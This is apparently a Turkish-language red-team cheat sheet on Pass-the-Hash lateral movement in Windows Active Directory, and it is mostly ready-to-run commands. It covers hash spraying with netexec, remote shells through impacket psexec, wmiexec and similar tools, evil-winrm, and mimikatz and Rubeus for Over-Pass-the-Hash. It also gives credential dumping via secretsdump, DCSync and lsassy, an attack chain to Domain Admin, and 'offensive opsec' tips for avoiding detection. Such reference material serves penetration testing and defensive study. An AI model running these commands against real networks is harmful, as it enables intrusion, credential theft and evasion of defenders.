Pass-the-Hash
MITRE ATT&CK · T1550.002 phase: lateral movement
MITRE ATT&CK · T1550.002 phase: lateral movement
Pass-the-Hash (PtH), NTLM kimlik doğrulamasında parolanın açık haline gerek olmamasından yararlanır: kullanıcının NT hash’i doğrudan challenge/response hesabında kullanılır. Hash kırılmadan, hash’in geçerli olduğu tüm sistemlere (domain veya local) erişilebilir.
Ön koşul
Section titled “Ön koşul”- NT hash: LSASS, SAM, DCSync, NTDS, VSS secretsdump- Hedefte NTLM kabul (Kerberos-only policy yok)- Domain: hesap kilitli/disabled değil- Local: aynı local admin hash (image reuse)Format: -hashes :NTHASH veya -H :NTHASHKomut üreteci
Section titled “Komut üreteci”Pass-the-Hash · psexec
embedded toolGenerated command
impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 domain.local/administrator@10.10.10.5Pass-the-Hash · psexec
Section titled “Pass-the-Hash · psexec”Sömürü
Section titled “Sömürü”-
Erişimi doğrula / spray hash :
Terminal window nxc smb 10.10.10.0/24 -u Administrator -H :NTHASHTerminal window nxc smb 10.10.10.0/24 -u Administrator -H :NTHASH --local-authTerminal window nxc smb 10.10.10.0/24 -u 'domain.local\admin' -H :NTHASH -
Komut çalıştır / shell :
Terminal window impacket-psexec -hashes :NTHASH domain.local/Administrator@10.10.10.20Terminal window impacket-wmiexec -hashes :NTHASH domain.local/Administrator@10.10.10.20Terminal window impacket-smbexec -hashes :NTHASH domain.local/Administrator@10.10.10.20Terminal window impacket-atexec -hashes :NTHASH domain.local/Administrator@10.10.10.20 'whoami'Terminal window impacket-dcomexec -hashes :NTHASH domain.local/Administrator@10.10.10.20Terminal window evil-winrm -i 10.10.10.20 -u Administrator -H NTHASHTerminal window nxc smb 10.10.10.20 -u Administrator -H :NTHASH -x 'whoami /all'Terminal window nxc winrm 10.10.10.20 -u Administrator -H :NTHASH -x 'hostname' -
Yayıl — yeni host’ta LSASS / SAM / LAPS → yeni hash → tekrar 1.
mimikatz / Windows native
Section titled “mimikatz / Windows native”sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:NTHASH /run:cmd.exexfreerdp /u:Administrator /d:domain.local /pth:NTHASH /v:10.10.10.20Over-Pass-the-Hash (hash → Kerberos TGT)
Section titled “Over-Pass-the-Hash (hash → Kerberos TGT)”impacket-getTGT domain.local/Administrator -hashes :NTHASHexport KRB5CCNAME=Administrator.ccacheimpacket-psexec -k -no-pass domain.local/Administrator@dc01.domain.localRubeus.exe asktgt /user:Administrator /rc4:NTHASH /pttRubeus.exe asktgt /user:Administrator /aes256:AESKEY /pttNTLM kapalı segmentlerde kritik; Pass-the-Ticket dünyasına geçiş.
Local vs domain hash
Section titled “Local vs domain hash”| Senaryo | Bayrak | Not |
|---|---|---|
| Domain account | -u user -H :hash | DC’ye authenticate |
| Local Administrator | –local-auth | RID 500 reuse |
| Machine account | USER$ + machine NT | Silver daha uygun |
Opsec (ofansif)
Section titled “Opsec (ofansif)”□ Geniş /24 spray → 4624/4625; önce AdminTo daralt□ wmiexec/smbexec genelde psexec’ten daha az servis artefaktı□ Over-PtH ile Kerberos → NTLM log azalabilir□ Öncelik: DC, CA, SCCM, backupYaygın tuzaklar
Section titled “Yaygın tuzaklar”□ -hashes NT (baştaki : yok) → LM parse hatası□ Local auth unutulunca domain’e gider□ LAPS ile local admin adı farklı□ NTLM disabled → Over-PtH□ Protected Users → ticket gerekirSaldırı zinciri
Section titled “Saldırı zinciri”DCSync → Domain Admin NT → nxc smb /24 -H → Pwn3d listesi → wmiexec → LSASS on jump host → yeni hash → devamHash kaynakları (hatırlatma)
Section titled “Hash kaynakları (hatırlatma)”nxc smb HOST -u user -H :HASH --local-auth -M lsassyimpacket-secretsdump -sam sam.save -system system.save LOCALimpacket-secretsdump domain.local/da:'Pass'@DC -just-dc-ntlmnxc ldap DC -u user -p pass -M get-desc-users # veya laps modülüSonraki adımlar
Section titled “Sonraki adımlar”Exec methods · Pass-the-Ticket · LSASS Dumping